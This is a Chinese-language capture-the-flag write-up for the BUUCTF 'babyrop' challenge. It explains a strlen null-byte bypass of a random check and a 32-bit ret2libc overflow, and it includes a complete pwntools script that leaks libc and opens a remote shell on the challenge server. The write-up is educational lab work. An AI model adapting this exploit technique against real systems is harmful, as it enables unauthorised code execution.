babyrop WP
一道比较简单的ret2libc
考察点为strlen函数遇到\x00返回
但是有一个坑
IDA逆向拿到伪代码
main函数
逻辑是程序开始运行时读入一个随机数
然后传给并调用sub_804871F函数
sub_804871F函数
a1为main函数传入的随机数(buff)
格式化后将a1给了s
之后从终端读入数据给buf
然后将数组buf的某个元素变为0(这是一个坑)
之后获取buf的长度(strlen函数)
这里是第一个利用点:strlen函数遇到\x00则返回
然后根据strlen函数拿到的长度将buf与s比较
不同则程序退出
相同则将buf数组的第八个元素的值变为整数并返回
利用:可以将\x00作为第一个字节传入 使strlen返回长度为0 让后面的比较函数比较0个字节 即可绕过随机数
回到main函数
将返回值赋给v2
然后将v2作为参数传给sub_80487D0函数
sub_80487D0函数
可以看到
只要我们控制了a1的值
就能实现溢出
传入/xff即可
所以整体思路
读入\x00绕过随机数 同时传入\xff实现溢出 然后泄露write函数的got表地址 之后计算libc基地址
避坑:
正常情况下 我们会这样构造payload
'b\x00'+b'\xff'*7
利用红色框和黑色框中的代码
来实现绕过随机数并实现溢出
但是由于蓝色框的代码
如果我们这样传入8个字节
导致v5=8
使buf[7]=0
即buf的第八个元素被替换成了0
无法实现溢出
因此我们可以用senline()加入回车符达到v5=9或者是多传几个\xff
具体wp如下:
from pwn import *
#context.log_level = 'debug'
#sh=process("./pwn")
sh=remote("node4.buuoj.cn",29053)
elf=ELF("./pwn")
write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x8048825
#gdb.attach(sh,"b 0x08048825")
payload=b'\x00'+b'\xff'*7
sh.sendline(payload)#sendline()用来避坑 当然也可以传入更多\xff来避坑 道理一样
sh.recvuntil("Correct\n")
#32位传参
#write(1,write_got,4)
payload2=b'a'*0xe7+b'b'*0x4+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload2)
write=u32(sh.recv(4))
success(hex(write))
libc=ELF("./libc-2.23.so")
libc_base=write-libc.symbols["write"]
shell=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search(b'/bin/sh').__next__()
sh.sendline(payload)
sh.recvuntil("Correct\n")
payload3=b'a'*0xe7+b'b'*0x4+p32(shell)+p32(0000)+p32(binsh)#0000是system函数的retAddress
sh.sendline(payload3)
sh.interactive()
拿到shell